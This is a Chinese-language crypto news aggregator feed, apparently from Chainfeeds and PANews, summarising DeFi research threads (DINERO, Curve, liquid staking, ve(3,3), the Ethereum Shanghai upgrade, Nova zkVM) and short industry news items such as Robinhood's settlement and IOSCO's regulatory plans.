    【英文长推】新项目前瞻 | 完全由以太坊超额抵押支持的稳定币 DINERO：有哪些特点及价值？
    Chainfeeds 导读： DINERO 是一个完全由以太坊超额抵押支持的稳定币，由 DeFi 项目 Redacted Cartel 宣布将分阶段推出 。DeFi 研究员 Wajahat Mughal 结合现有资料，撰文对该稳定币的价值、机制及优势进行了分析解读。 文章来源： https://twitter.com/0xMughal/status/1644032602356215808 文章作者： Wajahat Mughal 观点： Wajahat Mughal：DINERO 是一个由 ETH 和 pxETH 支持的稳定币，旨在捕捉以太坊结算层价值、增加协议收入及获取优质区块空间等。将 ETH 存入 Pirex 能够创建 pxETH，DINERO 交易对则由一个 ETH 金库和一个 pxETH 金库进行铸造，pxETH 金库将会有更严格的风险参数限制，因为它的流动性较差。【原文为英文】 内容来源 Wajahat Mughal：Redacted 正在构建自己的中继器，这将允许一系列的新功能，包括 meta 交易。meta 交易允许用户用 ETH 以外的代币支付交易费用。一旦规模足够大，Dinero 将能够通过 pxETH 的区块空间实现隐私交易及订单流支付等功能。此外，我猜测 BTRFLY 持有者将获得包括 pxETH、Dinero 利息、 Dinero 溢价交易费用等收益。【原文为英文】 内容来源  ( 2 min )
    【英文长推】寻找下一个百倍项目：未发射的协议终极清单
    Chainfeeds 导读： 熊市是寻找百倍项目的最佳时机，加密 KOL slappjakke.eth 盘点了 13 个未发射的协议。提醒：仅作参考，而非财务建议。 文章来源： https://twitter.com/Slappjakke/status/1643973009013878790 文章作者： slappjakke.eth 观点： slappjakke.eth：1）GND Prococol，建立在 $GLP 和 $gDAI 之上的通货紧缩代币模型和收益稳定币。将于 4 月底在 Arbitrum 上推出。2）Smilee，允许用户做空无常损失的去中心化波动率协议，去中心化的波动性产品以做空无常的损失。建立在 DEX 之上的创新，肯定会成为下一个大事件。3）GammaSwap，可以做空无常损失，用永续看涨 / 看跌期权做多或做空。【原文为英文】 内容来源 slappjakke.eth：4）Tapioca DAO：专注于构建全链 DeFi，从借贷市场到 token wrapper。建立在 Layer Zero 技术之上，允许他们访问大多数 EVM 链。5）Rage Trade：去中心化全链杠杆交易和建立在 GMX 之上的 delta 中性保险库，没有代币，在 Arbitrum 上推出。6）InfinityPools，支持对任何资产进行无限杠杆，没有清算，也没有预言机，建立在 Uniswap V3 之上。7）Orbital，通过后台的期权基础设施，用户可以在没有价格风险的情况下进行 LP。【原文为英文】 内容来源 slappjakke.eth：8）Lexer Markets：具有 3 种不同交易机制的去中心化混合永续 DEX。9）Dolomite：可组合借贷、保证金交易 DEX，提供顶级的 DeFi 集成。10）Berachain；11）Farcana，在虚幻引擎 5 上建立的具有 Play 2 Hash 机制的三重 GameFi 项目，由比特币采矿奖励支持。12）nftperp：提供高达 5 倍的杠杆以交易蓝筹 NFT 地板价，或者在出售 NFT 时进行对冲。13）Rodeo Finance：高达 10 倍杠杆的收益挖矿。【原文为英文】 内容来源  ( 2 min )
    万字解析 Curve 的演进之路：超越代币设计的协议可持续之道
    Chainfeeds 导读： TEDAO 联合创始人 0xjreme 认为，作为 Web3.0 领域的佼佼者，Curve 的成长之路可以为其他项目提供有益的经验和启示。撰文将 Curve 的演进历程分为不同阶段，更全面、系统地了解其发展轨迹和成功之路，并探究 Curve 发展背后的重要事实和关键举措，总结 web3 项目成功的可借鉴规律和模式，为其他项目提供有益的启示和参考。本文中文版由 TEDAO 研究员 Siss 及 Leia 编译。 文章来源： https://mp.weixin.qq.com/s/TOcaLNXEZMJOXS2tNV4w9w 文章作者： 0xjereme 观点： 0xjereme：Curve 1.0 阶段，实现 PMF，开启第一成长曲线：1）诞生背景为稳定币规模不断扩大，CEX 和 DEX 交易成本高；2）业务机制为独创的稳定币 AMM，解决了市场痛点；3）协议上线但没有发行代币，验证了 Product-Market Fit（产品市场契合度）。该阶段点评与洞见：PMF 是 Web3.0 协议成功的首要要素。在该阶段协议在技术上具备去中心化，但经济和治理还是偏中心化。 内容来源 0xjereme：Curve 2.0 阶段，推进去中心化，涌现繁荣的生态：1）引入代币并首创 veToken 机制，推动经济去中心化，建立长期共识。代币的发行和分配，持续激励平衡，代币对于协议的价值捕获在于凝聚「长期共识」；2）经济去中心化孕育繁荣生态，治理更趋去中心化，多方项目加入治理投票权争夺之战。贿赂平台让散户力量崛起，Redacted 进一步提升投票的收益，都推进了治理去中心化。点评：经济和治理的去中心化，有助于涌现丰富的生态。但如果缺乏持续的价值创造，生态将无法长期维持。 内容来源 0xjereme：Curve 3.0 阶段，新竞争新挑战，迈向第二成长曲线：1）DeFi 竞争激烈，Curve 面临同质化与非同质化竞争对手挑战；2）Curve 代币经济的可持续性挑战，即边际效益递减与泡沫风险；3）Curve 上线 V2 版本，拓展交易对象，争夺「波动性资产」交易收入；4）Curve 推出其稳定币发行计划，旨在扩大收入来源。该阶段点评与洞见：持续地创造价值才是 Web3.0 协议的核心目标。需要从代币动力学和代币工程的视角来指导设计，以确保协议的可持续性。同时可以运用 Agent-Based 模拟仿真技术，提升协议的核心竞争力。 内容来源  ( 35 min )
    【英文】Galaxy Digital | 以太坊上海升级即将到来，哪些关键指标值得关注？
    Chainfeeds 导读： Galaxy Digital 研究副总裁 Christine Kim 及 Galaxy Digital 交易副总裁 Kelly Greer 撰文对以太坊上海升级前后值得关注的关键指标进行了分析，并盘点了能够了解以太坊网络健康活动的网站和数据仪表盘。 文章来源： https://www.galaxy.com/research/insights/how-to-watch-shanghai-the-completion-of-ethereums-merge-upgrade/ 文章作者： Christine Kim 及 Kelly Greer 观点： Christine Kim（Galaxy Digital）：与此前的以太坊 PoS 合并不同，上海升级将在以太坊核心开发者提前确定的特定时间启动。这是因为信标链是通过 Slot 和 epoch 来推进的，而不是区块。上海升级的 Slot 编号确定是 6209536，预计将在 UTC 时间 2023 年 4 月 12 日 22:27:35 启动。【原文为英文】 内容来源 Christine Kim（Galaxy Digital）：上海升级启动后，观察网络的最终性是很重要的，一旦至少有 2/3 的活跃验证者确认了 2 个 epochs，信标链网络就达到了最终状态，一个 epoch 包含持续 6.4 分钟的时期，这个时期内，最多可以提出 32 个块，分布在 12 个 slots 中。目前可以通过 Ethernodes 及 Metrika 追踪节点准备状况。截至 2023 年 4 月 4 日，以太坊上大约有 40% 的节点已经为上海升级做好准备。【原文为英文】 内容来源 Christine Kim（Galaxy Digital）：与此前的以太坊 PoS 合并不同，上海升级将在以太坊核心开发者提前确定的特定时间启动。这是因为信标链是通过 Slot 和 epoch 来推进的，而不是区块。上海升级的 Slot 编号确定是 6209536，预计将在 UTC 时间 2023 年 4 月 12 日 22:27:35 启动。【原文为英文】 内容来源  ( 12 min )
    【英文长推】数据解读流动性质押市场格局：Rocket Pool、Frax Finance、Manifold Finance......
    Chainfeeds 导读： 今年年初以来，通过流动性质押的 ETH 总量已经从 680 万 增加至 823 万枚。加密研究员 Thor Hartvigsen 对正在获得市场份额的 6 个流动性质押协议的进展数据进行了分析解读。 文章来源： https://twitter.com/ThorHartvigsen/status/1643955259528585219 文章作者： Thor Hartvigsen 观点： Thor Hartvigsen：1）Rocket Pool：质押以太坊总额为 441000 枚，2023 年第一季度市场份额从 4.9% 上升至 5.3%。将于 4 月 18 日上线 Atlas 升级，允许 ETH 提款并引入了 Gas 优化、更高的节点奖励及 8 ETH 的 minipool；2）Frax Finance：质押以太坊总额为 128000 枚，2023 年第一季度市场份额从 0.7% 上升到 1.6%，产生了 173 万美元的费用。Frax Finance 将继续通过其双币模式提供高质押收益；【原文为英文】 内容来源 Thor Hartvigsen：3）Manifold Finance：提供 DeFi 中间件解决方案，涉及 MEV 优化、用户和验证者的区块构建等，前几天宣布正在开发流动性质押协议和一个名为 mevETH 的流动性质押衍生品；4）Lido：质押以太坊总额为 595 万枚，2023 年第一季度市场份额有略微下降，从 74% 降至 72.3%，但其依然是行业中最大的玩家，仅次于 Uniswap 的第二大费用产生协议；【原文为英文】 内容来源 Thor Hartvigsen：5）Stakewise：质押以太坊总额为 94000 枚，2023 年市场份额也略微下降，从 1.28% 降为 1.18%，共产生费用 168 万美元。目前正在致力于推出 V3 版本，用户将能够决定将 ETH 存入哪个金库；6）Stader：核心功能之一是只需要 4 枚 ETH 就能够运行一个节点。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Ve (3,3) 机制简易指南：哪些项目值得关注？
    Chainfeeds 导读： Solidly 以其独特的 Ve (3,3) 模型彻底改变了去中心化交易所赛道。DeFi 研究员 Hercules | DeFi 撰文对 Ve (3,3) 模型的来源、运作机制进行了解读，并盘点了十个基于 Ve (3,3) 模型的项目。 文章来源： https://twitter.com/Hercules_Defi/status/1644007732478119938 文章作者： Hercules | DeFi 观点： Hercules | DeFi：Ve（3,3）是 Andre Cronje 开发的一种创新 DeFi 代币经济学模式，由 Curve 的投票托管（ve）机制和 Olympus DAO (3,3) 机制结合而来。Olympus DAO 推出的博弈论设计（3,3）能够分析用户行为，包括质押及出售等。(3,3) 是最积极的结果，意味着用户在平台上进行质押并导致利润增加。(-3,-3) 是最坏的结果，意味着用户想要卖出。【原文为英文】 内容来源 Hercules | DeFi：veCRV 可通过将 CRV 代币锁仓 CRV 1 至 4 年获得。veCRV 持有者可以投票决定哪个池子获得更高的 CRV 奖励。Andre Cronje 提出的 ve (3,3) 的新模式通过结合将代币释放与积极行为相匹配并解决了 AMM 所面临的问题。ve (3,3) 中的 Ve 代币是作为 NFT 发行，允许使用其作为抵押品，并能够在二级市场上进行交易。【原文为英文】 内容来源 Hercules | DeFi：十个基于 Ve（3,3）模型项目：Optimism 上 AMM 协议 Velodrome、BNB Chain 上 DeFi 协议 Thena、去中心化交易所 Equalizer、Arbitrum 生态原生去中心化交易所 RAMSES、Équilibre、Avalanche 提供技术支持的 Glacier Finance、流动性市场 Hermes、Polygon 生态流动性协议 Satin Exchange 及 zkSync 生态去中心化交易所 Velocore。【原文为英文】 内容来源  ( 2 min )
    RabbitX 宣布进行空投，奖励早期采用者及忠实用户，并增加其交易所流动性
    RabbitX 宣布进行空投，奖励早期采用者及忠实用户，并增加其交易所流动性 StarkNet 生态的永续市场官方发布推文，宣布将进行空投，旨在奖励早期采用者和忠实用户，并增加交易所流动性，回馈其用户并围绕 RabbitX 建立一个强大的支持社区，同时致力与公平透明的代币分配，使 RabbitX 的利益与用户保持一致，通过与用户互动并为他们提供在加密市场取得成功所需的工具和资源，为 RabbitX 的未来奠定坚实的基础。 内容来源  ( 2 min )
    加密数据服务平台 Dune 用上 AI，LLM 会成为其护城河吗？
    Chainfeeds 导读： Dune 更新其 LLM 路线图并上线支持查询解释的 GPT-4 功能，PANews 专栏作者月之暗面从 Dune 的数据查询鸿沟出发，撰文分析该功能更新，认为 LLM 的加入有望帮助 Dune 将用户的数据查询语句和看板转化为实际的杀手锏，并吸引更多用户加入创作者行列。 文章来源： https://www.panewslab.com/zh/articledetails/5gu88fsr.html 文章作者： 月之暗面 观点： 月之暗面：任何人可以在 Dune 通过 SQL 语句进行对数据的查询、分享和展示，但其 SQL 模式存在门槛过高和 V1 V2 版本直接之间支持的 SQL 标准不统一两个问题。Dune 计划统一查询引擎、迁移至 Dune SQL，以保证产品逻辑的统一性。Dune 正尝试实验自动化工具，将不同语法格式转化为 Dune SQL 语句。Dune 推出 LLM 计划，以更好地显示人机交互方面的威力。 内容来源 月之暗面：Dune 的工作流程中，执行 SQL 查询是最关键的。为了让普通用户也能理解 SQL 代码的作用，团队引入了查询解释功能，通过自然语言的格式解释代码的具体含义，使普通用户可以理解查询语句的作用。随着 LLM 的加入，自然语言查询成为 Dune 后续 LLM 改进的重要方向，将有助于系统理解图表之间的关联，提升分析工作效率。团队还计划开发对话机器人，帮助用户以更简易的方式去理解和利用现存的知识体系，而不需要受到不相关信息的干扰。 内容来源 月之暗面：结论：Dune 旨在建立一个让信息自由流动的数据管道，让用户可以自由管理、查询和利用数据去采取行动。前提是建立一个模块化、可任意组合和配置的数据集，实现人人都能和数据交互的平权。Dune 的 LLM 计划是「翻译」和助手，目标是让普通用户读懂数据所代表的一切，展示最终结果，并深入到生成过程之中，最终人人都可进行链上数据分析。 内容来源  ( 2 min )
    【英文长推】RabbitHole 引入 ETH Earned：一种新的链上信誉系统
    Chainfeeds 导读： Web3 任务平台 RabbitHole 宣布引入 ETH Earned，一种新的链上信誉系统，官方撰推阐述探索该系统的过程，解析该系统的原理机制、用例，并推出新的 NFT 系列以纪念该系统的推出。 文章来源： https://twitter.com/rabbithole_gg/status/1643768322687741952 文章作者： RabbitHole 观点： RabbitHole：RabbitHole 的使命始终专注于通过强调参与加密网络而不是单纯的投资来重新定义加密世界。在过去的两年中，我们在追求这一目标的过程中探索了 XP 和链上凭证等信誉系统。对于 XP，我们发现缺乏稀缺性和链下性质使得标准化变得困难，并且其无限的打印可能性及中央银行的行为，与我们的核心原则相矛盾。【原文为英文】 内容来源 RabbitHole：然后我们探索了链上凭证，将它们组织成 DeFi、DAO 和 NFT 等类别。虽然这有助于用户使用加密技术，但事实证明，除了凭证框架之外，将其标准化为衡量用户贡献的声誉系统是很困难的。我们意识到，关键是要关注积极参与加密货币而不是资本投资所产生的收益。这种转变将创造一个公平的竞争环境，并使我们更接近于实现一个更易于访问和基于价值的加密生态系统。【原文为英文】 内容来源 RabbitHole：ETH Earned 的概念源于一个强有力的问题，「如果链上参与比您的钱包余额更重要怎么办」。每次你在 RabbitHole 上完成一个完整的任务并开出凭证，你就会增加赚取的 ETH。ETH Earned 是根据您完成每个任务所获得的奖励来计算的，用例包括：1）任务资格；2）防女巫；3）积分钱包；4）访问专属平台；5）治理权重；6）激励学习；7）代币空投资格。【原文为英文】 内容来源  ( 2 min )
    【英文长推】Delphi Digital：以太坊上海升级指南 —— 对 LSD 的影响几何？
    Chainfeeds 导读： 下周将完成以太坊上海升级，超过 1800 万美元的质押以太坊将解锁，Delphi Digital 撰写以太坊上海升级指南，涵盖上海升级的基础信息，以及对 LSD 的影响，认为上海升级会使流动性质押协议失去吸引力，但流动性越高，LSD 越能从中受益。 文章来源： https://twitter.com/delphi_digital/status/1644010295264702467 文章作者： Delphi Digital 观点： Delphi Digital：以太坊的存款专用 PoS 信标链于 2020 年 12 月推出，在去年合并之前与 ETH 主网并行运行。下周的上海硬分叉将使验证者能够提取他们质押的 ETH 和质押奖励，其占以太坊供应量的 15%。以每 ETH 1,800 美元的价格计算，大部分抵押的 ETH 目前处于浮亏。虽然这看起来令人担忧，但大部分质押的 ETH （60%）都在 LSD 和中心化交易所中，它们都已经允许用户退出他们的头寸。【原文为英文】 内容来源 Delphi Digital：目前，以太坊落后于其他 PoS 区块链，只有供应量的 15% 被质押。其他协议具有更高的质押比率，以太坊不太可能达到这些水平。在高于 30% 的水平上，质押 APR 不再有利可图。随着以太坊可以自由质押和取消质押，流动性质押协议将失去其作为抵消持续时间风险的工具的吸引力。然而，它们仍然使投资者能够绕过 32 ETH 的最低质押要求，为以太坊投资者提供真正的效用。【原文为英文】 内容来源 Delphi Digital：Lido 作为最大的 LSD 和以太坊质押实体，最有可能从这些流动性中获益。需要注意的是，质押奖励和存入的 32 ETH / 验证者是分开考虑的。质押奖励可以立即提取，而 32 个 ETH / 验证者提取将受到速率限制。【原文为英文】 内容来源  ( 2 min )
    【英文长推】「LSD 黄金矿商」Pendle 被严重低估？快速解读其优势
    Chainfeeds 导读： 加密 KOL Smol 认为 Pendle 被严重低估，撰推从「黄金矿商」的角度解读其优势。 文章来源： https://twitter.com/0xSmolfarmer/status/1643516403885154304 文章作者： Smol 观点： Smol：VC 总喜欢说「我喜欢镐和铲子」，该策略是以 19 世纪加州淘金热期间用来掘金的工具命名的。一个塞缪尔・布兰南的人成为那个时期的首富，他通过向黄金矿工出售材料以及他经营的一家报纸来做到这一点。他不仅发表黄金的新闻，还担任淘金热相关企业的广告商。【原文为英文】 内容来源 Smol：Pendle 做了同样的事：1）向 LSD 黄金矿工出售材料 —— 单边质押的额外收益；2）淘金热相关企业的广告中心 —— 与 Aura / Balancer 合作以提高收益。$PENDLE 利用想要库存以继续开采黄金的 LSD 朋友（ETH 质押者），而且当 LSD 朋友也可以通过其 Aura / Balancer 矿池开始锁定 $PENDLE 以贿赂收益。【原文为英文】 内容来源  ( 2 min )
    【英文长推】上线 RON 质押功能，公布游戏工作室合作伙伴：Ronin Network 能否重燃链游市场？
    Chainfeeds 导读： Ronin Network 似乎已经被市场遗忘了，但不可置否的是其在高峰期曾拥有过 280 万日活跃用户，而 OpenSea 在 2022 年高峰期的月活跃用户仅为 50 万。前 Spartan Capital 合伙人 Jason Choi 撰文概述了他看好 Ronin Network 在 2023 年发展的原因。 文章来源： https://twitter.com/mrjasonchoi/status/1644129617429823488 文章作者： Jason Choi 观点： Jason Choi：质押方面，自一年前遭遇攻击以来，Ronin Network 已经让所有用户都得到了补偿，并且已经通过和 Nansen 及 Google 等公司合作使其验证者数量增加了 2 倍。Ronin Network 质押奖励将于 4 月 12 日上线，截止目前已经约有 3500 万枚 Ron 被质押，约占流通供应量的 17%。【原文为英文】 内容来源 Jason Choi：需求方面，Ronin Network 刚刚宣布了新的合作关系，包括 The Machines Arena、Tribesters、Axie Champions、Bowled.io 及 BATTLE BEARS。我对这些合作感兴趣的原因包括：首先我喜欢针对加密原生团队的生态系统，其次是 Ronin Network 似乎更偏爱「移动」开发商，第三是 Ronin Network 直接面向亚洲市场。这也是我看好 RON 潜力的三个增长动力。【原文为英文】 内容来源  ( 2 min )
    【英文】RollApp 经济学和治理机制概述：如何在生态系统各个层面捕获公平价值？
    Chainfeeds 导读： 模块化区块链网络 Dymension 的 RollApp 是一个 Rollup 框架，能够让社区和应用程序作为去中心化、自治及加密安全的经济体运作。Dymension 撰文概述了 RollApp 的经济学和治理机制。 文章来源： https://medium.com/@dymensionXYZ/rollapp-economics-and-governance-cbbebe048f38 文章作者： Dymension 观点： Dymension：排序器处理计算问题：RollApps 利用 Dymension Hub 的经济和去中心化网络，节点操作者在 Dymension Hub 上存入保证金以获得在 RollApp 上生产区块的权利，具体分配时间取决于 Dymension Hub 锁定代币的相对份额。能够作为保证金的代币包括原生 DYM 代币、RollApp 代币及 LP DYM / ROLLAPP 代币。【原文为英文】 内容来源 Dymension：链上治理：RollApps 可以被视为 DAO，其结构类似于传统公司，RollApp 区块生产者类似于员工、RollApp 成员类似于董事会成员，代币持有者则类似于股东。交易费用和区块奖励在会员、委托用户及排序器之间共享，具体分配由红利参数定义，该参数可以通过治理投票改变。此外，排序器可以通过增加在 Dymension Hub 上的保证金来获取更多的 MEV 收入。关于链上发布成本主要是由排序器产生，可以分为状态更新、数据发布及 RollApp 保证金三类。【原文为英文】 内容来源  ( 8 min )
    【英文长推】Nova zkVM 实现评估：或将取代基于 Rust 实现的证明系统 halo2？
    Chainfeeds 导读： 智能合约工程师 alephv.eth 及团队撰文对 Supernova/Nova 关于实现 zkVM 的初步工作进行了评估。alephv.eth 表示，Nova 的速度很快，且可以高度并行化，但仍需要投入大量的工作才能进入实践阶段。 文章来源： https://twitter.com/alpeh_v/status/1643891395965616129 文章作者： alephv.eth 观点： alephv.eth：Nova 协议是一个新的可递增验证计算系统。和以前的 IVC 模型不同，Nova 协议必须在其递归电路中包含一个 SNARK 验证器，且其具有被成为「Folding」的更轻量级的验证协议。「Folding」需要两个 R1CS 请求的实例，并随机线性组合成一个新的 R1CS 请求。由于 「Folding」不使用 FFT，因此会让证明的速度快很多，而且由于其具有无限计算能力，内存开销会低很多。这与 halo2 和其他 zkEVM 系统成为鲜明对比。【原文为英文】 内容来源 alephv.eth：Nova 的实现本身不支持并行，所以在过去几周内，我实现了一个可以实现并行的增强的递归线路和验证器的 PoC。事实上我们可以用 N 个步骤分割 Nova，在 N/2 台机器上并行证明。核心是将每个 Nova 证明表达为一个 relaxed 和一个 nomal 的 R1CS 节点，然后合并节点时将所有四个节点 「Folding」。此外，我们还在为 Nova/Supernova 优化新的 zkVM 内存模型，并通过基准测试运行当前 Nova 实现。【原文为英文】 内容来源 alephv.eth：Microsoft Nova 在某些范围内击败了 halo2，且内存的使用得到了彻底的改善。对于应用程序而言，Nova 具有很大的优势，例如无限执行规模及并行或去中心化验证器架构等。但在投入实践之前，我们还需要一个 Supernova 的实现和并行化策略。【原文为英文】 内容来源  ( 2 min )
    Magic Eden 宣布其以太坊平台已正式上线
    Magic Eden 宣布其以太坊平台已正式上线 Magic Eden 官方发布推文，宣布其以太坊平台正式上线，与 17 位 ETH Launchpad 创作者合作，「尊重」所有藏上架品的版税，为所有 ETH Launchpad 合作伙伴提供版税和 6 个月的 2% 费用。 内容来源  ( 2 min )
    Robinhood 以 1020 万美元罚款与各州证券监管机构达成和解
    Robinhood 以 1020 万美元罚款与各州证券监管机构达成和解 据 The Block 报道，在 2020 年 3 月该公司平台中断引发七个州证券监管机构的调查后，Robinhood 将因伤害「投资者」而支付 1020 万美元的罚款。 北美证券管理者协会主席 Andrew Hartnet 表示，「Robinhood 多次未能为其客户提供服务，但这项和解明确表明 Robinhood 必须认真履行其客户服务义务并纠正这些缺陷」。该和解是在北美证券管理协会调查之后达成的，该调查由阿拉巴马州、科罗拉多州、加利福尼亚州、特拉华州、新泽西州、南达科他州和德克萨斯州的州证券监管机构牵头。Robinhood 没有立即回应置评请求。 内容来源  ( 154 min )
    LooksRare V2 版本上线，将降低协议费用、Gas 费，允许批量交易 NFT
    LooksRare V2 版本上线，将降低协议费用、Gas 费，允许批量交易 NFT NFT 市场 LooksRare 发布官方博客，宣布推出 V2 版本，进一步降低平台协议费用和 Gas 费用。据 LooksRare 披露，V2 版本的协议费用将降低 75%（从 2% 降至 0.5%），Gas 费用也将减少 50%。此外，卖家可以直接收到 ETH，而不是之前的 WETH。此外，新版本还允许在单笔交易中一次性批量列出和购买超过 70 种 NFT，并支持可重复使用的签名。 内容来源  ( 3 min )
    zkSync Era 否认 921 ETH 在智能合约中「永久卡住」，并承诺会很快进行更新
    zkSync Era 否认 921 ETH 在智能合约中「永久卡住」，并承诺会很快进行更新 据 Cointelegraph 报道，zkSync Era 背后的团队 Matter Labs 否认价值 170 万美元的 921 ETH 在智能合约中「永久卡住」，该声明出于此前一个 zkSync 项目在转移其代币销售期间积累的资金遇到问题。问题似乎是由于 zkSync Era 不完全兼容以太坊虚拟机 （EVM）引起的，虽然 zk rollup 解决方案是「EVM 等效」，但这两个系统编译智能合约代码的方式彼此略有不同，这在某些情况下可能会导致编译过程中出现错误。该项目被认为是 GemstoneIDO (GEMS)，在 zkSync 浏览器页面上，最后四个交易请求「失败」，而其智能合约中恰好存储了 921 个以太坊。Cointelegraph 联系了 Matter Labs，后者重申资金不会永远停滞，并承诺很快会进行更新。 内容来源  ( 50 min )
    Avalanche 为机构区块链部署推出 Avalanche Evergreen 子网
    Avalanche 为机构区块链部署推出 Avalanche Evergreen 子网 Ava Labs 宣布推出 Avalanche Evergreen 子网，该子网是一套为金融服务设计的机构区块链部署服务和工具，旨在解决金融服务公司特定和行业范围的要求。通过 Evergreen 子网，机构可以在私有的、经过许可的链中与已知和批准的交易对手实施区块链数字资产战略，同时保留通过 Avalanche 的本地通信协议 Avalanche Warp Messaging (AWM) 与其他子网通信的能力。 内容来源 观点： Morgan Krupetsky（Ava Labs 机构和资本市场业务发展总监 ）：到目前为止，金融机构的企业区块链应用一直受到围墙式阻碍，这种阻碍限制了流动性和互操作性。然而机构用例中对定制和服务的需求仍然很大，Avalanche 最终提供了公共和私人区块链的优势的完美综合，这就是为什么我们对 Avalanche Evergreen 的首次亮相感到非常兴奋的原因。【原文为英文】 内容来源  ( 7 min )
    以太坊重质押协议 EigenLayer 在以太坊 Goerli 上推出第一阶段测试网
    以太坊重质押协议 EigenLayer 在以太坊 Goerli 上推出第一阶段测试网 以太坊重质押协议 EigenLayer 在以太坊 Goerli 上推出第一阶段测试网。该测试网是一个早期非激励性测试网，代码正在积极开发中，目前支持流动性重质押和原生重质押两种重质押方式。此外，EigenLayer 合约正在进行审计，审计结束后将启动漏洞赏金计划。EigenLayer 还表示，EigenLayer 的发布将分三个阶段进行，分别为质押者、节点运营商和服务。 此前 EigenLayer 背后团队 EigenLabs 于 3 月底完成 5000 万美元 A 轮融资，Blockchain Capital 领投，Coinbase Ventures、Polychain Capital、Hack VC、Electric Capital、IOSG Ventures 等参投。 内容来源 观点： EigenLayer：流动性质押模式支持在 EigenLayer 合约上重新抵押各种流动性代币。原生重质押模式下，新的 ETH 质押用户在创建新的验证器时，可以将提款凭证设置为自己的 EigenLayer 智能合约「pod」，而针对即将到来的以太坊上海升级，拥有 0x00 开头的提款凭证的现有质押用户可在上海升级完成后将提款凭证重新指向一个执行层地址。拥有 0x01 开头的提款凭证的现有质押者可以在上海升级完成后退出信标链并作为一个新的质押者参与 EigenLayer。【原文为英文】 内容来源  ( 4 min )

  • Open

    国际证监会组织将于今年发布关于加密资产和DeFi的监管报告
    PANews 4月7日消息，据Ledger Insights报道，国际证监会组织(IOSCO)证实，计划在今年第二季度就加密和数字资产的监管展开咨询，并在年底前发布最终报告。与此同时，另一个工作组将专注于DeFi监管，计划在今年第三季度进行咨询，并在年底前发布最终报告。这是国际证监会组织2023/24年工作计划的一部分。IOSCO此前已概述了在许多情况下如何将现有的证券法规应用于DeFi。它还在探索DeFi与稳定币、加密交易、借贷平台和更广泛金融市场之间的联系。据此前消息，去年IOSCO和国际清算银行（BIS）发布了系统性稳定币的监管指南。该指南强调，如果稳定币执行转移功能并且监管机构认为它对金融系统很重要，它应该遵守金融市场基础设施原则（PFMI）。  ( 1 min )
    贝莱德与美国政府合作出售价值1140亿美元的Signature Bank和硅谷银行证券
    PANews 4月7日消息，据Crypto Potato报道，全球最大的资产管理公司贝莱德正与美国政府合作，出售价值1140亿美元的Signature Bank和硅谷银行证券，其中包括270亿美元的Signature Bank证券和870亿美元的硅谷银行 (SVB)证券。 美国联邦存款保险公司(FDIC)于周三宣布了这笔交易，并表示这些证券主要包括机构抵押贷款支持证券、抵押担保债券和商业抵押贷款支持证券。FDIC委托贝莱德协调此次出售，计划在考虑日常流动性和交易条件的前提下，以“渐进和有序”的方式进行，以免扰乱市场。目前贝莱德旗下管理着10万亿美元资产。  ( 1 min )
    Magic Eden将推出Ordinals创作者Launchpad
    PANews 4月7日消息，据CoinDesk报道，NFT市场Magic Eden周四表示将推出一个Ordinals创作者Launchpad，帮助创作者铸造比特币NFT收藏品铭文。尽管Magic Eden此前已经为创作者提供了上架和销售Ordinals的基础设施，但Launchpad将帮助创作者进入生态系统，并在比特币网络上铸造代币。据此前消息，上个月Magic Eden推出一个比特币NFT市场，允许收藏者在二级市场上购买Ordinals。该平台自上线以来日交易量一直领先，目前市场份额为44.1%。  ( 1 min )
    风投公司Bitkraft旗下第二只“代币”基金已筹集2.2亿美元
    PANews 4月7日消息，据CoinDesk报道，根据3月30日向美国证券交易委员会(SEC)提交的文件，专注于游戏的风险投资公司Bitkraft已为其第二只“代币基金”筹集了2.206亿美元。该基金的总融资目标为2.4亿美元。Bitkraft于2021年10月推出了一只类似基金，旨在投资区块链游戏和数字娱乐，获得7500美元的承诺资金。Bitkraft于2016年由游戏和电竞资深人士Jens Hilgers创立，专注于参与Web2和Web3领域游戏工作室、游戏平台和游戏相关技术的种子轮至B轮融资。Bitkraft管理的资产已增长到约6亿美元，其中三分之一与Web3有关。该公司旗下基金包括一个专注于电子竞技的基金、一个普通风险投资基金以及两个“代币”基金。  ( 1 min )
    推特网页Logo重新换回蓝鸟图案，狗狗币日内下跌8%
    PANews 4月7日消息，推特首页Logo从狗狗币表情头像重新变回原来的蓝鸟，狗狗币短线下跌，目前报0.08594美元，24小时下跌7.86%。4月3日，推特网页Logo更换为柴犬表情，随后马斯克推特发布含有狗狗币表情的照片，狗狗币短线上涨超过20%。  ( 1 min )
    DappRadar报告：Web3游戏项目在2023年Q1吸引了7.39亿美元的投资
    PANews 4月6日消息，根据 DappRadar 和区块链游戏联盟的最新报告，Web3 游戏项目在2023 年第一季度吸引了 7.39 亿美元的投资。这些资金中有将近 60%（4.34 亿美元）是在 2023 年 3 月筹集的。2.14 亿美元投资于游戏和元宇宙公司。另外还有 1.59 亿美元用于基础设施公司。相比之下，投资于 NFT 公司的 1000 万美元只占总资金的一小部分。Wax仍然是最活跃的区块链游戏协议，其次是Polygon、Hive和BNB Chain。 该报告详细描述了虚拟世界活动的激增。虚拟世界的交易活动在本季度结束时达到 3.5 亿美元，这是自 2022 年第二季度以来最好的一个季度。DappRadar 在 3 月份记录了超过 67,000 笔虚拟土地交易，几乎占该季度 143,000 笔交易总量的一半。  ( 1 min )
    Avalanche推出“Evergreen”子网以连接区块链上的机构
    PANews 4月6日消息，据Cointelegraph报道，Avalanche 开发商 Ava Labs 正在引入新的机构部署以改善区块链环境。Ava Labs 今日推出了 Avalanche Evergreen 子网，这是一套机构区块链工具和定制工具，旨在满足公司对金融服务的特定要求。Evergreen 子网上的公司间通信是使用 Avalanche 的本地通信协议 Avalanche Warp Messaging(AWM)启用的。AWM 功能在不同 Avalanche 子网上的任意两个区块链之间提供本地通信。  ( 1 min )
    美国财政部发布2023年DeFi非法金融风险评估：去中心化金融交易需遵守反洗钱规定
